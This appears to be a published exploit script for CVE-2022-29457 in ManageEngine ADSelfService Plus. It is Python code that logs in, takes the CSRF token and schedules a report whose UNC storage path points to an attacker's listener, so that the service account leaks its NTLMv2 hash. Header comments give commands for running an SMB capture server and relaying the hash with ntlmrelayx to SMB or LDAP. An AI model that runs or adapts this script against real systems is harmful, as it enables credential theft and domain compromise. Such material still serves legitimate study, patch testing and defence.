# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.manageengine.com/ # Software Link: https://www.manageengine.com/products/self-service-password/download.html # Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability # Version: ADSelfService Plus Build < 6121 # Tested against: Build 6118 # CVE: CVE-2022-29457 # !/usr/bin/python3 import argparse import requests import urllib3 import random import sys """ 1- a)Set up SMB server to capture NTMLv2 hash. python3 smbserver.py share . -smb2support b)For relaying to SMB: python3 ntlmrelayx.py -smb2support -t smb://TARGET c)For relaying to LDAP: python3 ntlmrelayx.py -t ldaps://TARGET 2- Fire up the exploit. You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes. """ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def get_args(): parser = argparse.ArgumentParser( epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1") parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ') parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain') parser.add_argument('-u', '--user', required=True, action='store') parser.add_argument('-p', '--password', required=True, action='store') parser.add_argument('-t', '--target', required=True, action='store', help='Target url') parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash') args = parser.parse_args() return args def scheduler(domain, auth, target, listener, user, password): try: with requests.Session() as s: gUrl = target getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False) csrf = getCsrf.cookies['_zcsr_tmp'] print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp']) if auth.lower() == 'adselfservice': auth = "ADSelfService Plus Authentication" data = { "loginName": user, "domainName": auth, "j_username": user, "j_password": password, "AUTHRULE_NAME": "ADAuthenticator", "adscsrf": [csrf, csrf] } #Login url = target + "j_security_check" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"} req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False) #Auth Check url2 = target + "webclient/index.html" req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False) if req2.status_code == 200: print("[+] Authentication is successful.") elif req2.status_code == 302: print("[-] Login failed.") sys.exit(1) else: print("[-] Something went wrong") sys.exit(1) dn = domain.split(".") r1 = random.randint(1, 1000) surl = target + 'ServletAPI/Reports/saveReportScheduler' data = { 'SCHEDULE_ID':'0', 'ADMIN_STATUS':'3', 'SCHEDULE_NAME': 'enrollment' + str(r1), 'DOMAINS': '["'+ domain +'"]', 'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}', 'SELECTED_REPORTS': '104,105', 'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]', 'SCHEDULE_TYPE': 'hourly', 'TIME_OF_DAY': '0', 'MINS_OF_HOUR': '5', 'EMAIL_ID': user +'@'+ domain, 'NOTIFY_ADMIN': 'true', 'NOTIFY_MANAGER': 'false', 'STORAGE_PATH': '\\\\' + listener + '\\share', 'FILE_FORMAT': 'HTML', 'ATTACHMENT_TYPE': 'FILE', 'ADMIN_MAIL_PRIORITY': 'Medium', 'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub', 'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html', 'MANAGER_FILE_FORMAT': 'HTML', 'MANAGER_ATTACHMENT_TYPE': 'FILE', 'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub', 'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html', 'adscsrf': csrf } sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False) if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text: print('[-] The target is patched!') sys.exit(1) if sch.status_code == 200: print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!") else: print("[-] Something went wrong. Please, try it manually!") sys.exit(1) except: print('[-] Connection error!') def main(): arg = get_args() domain = arg.domain auth = arg.auth user = arg.user password = arg.password target = arg.target listener = arg.listener scheduler(domain, auth, target, listener, user, password) if __name__ == "__main__": main()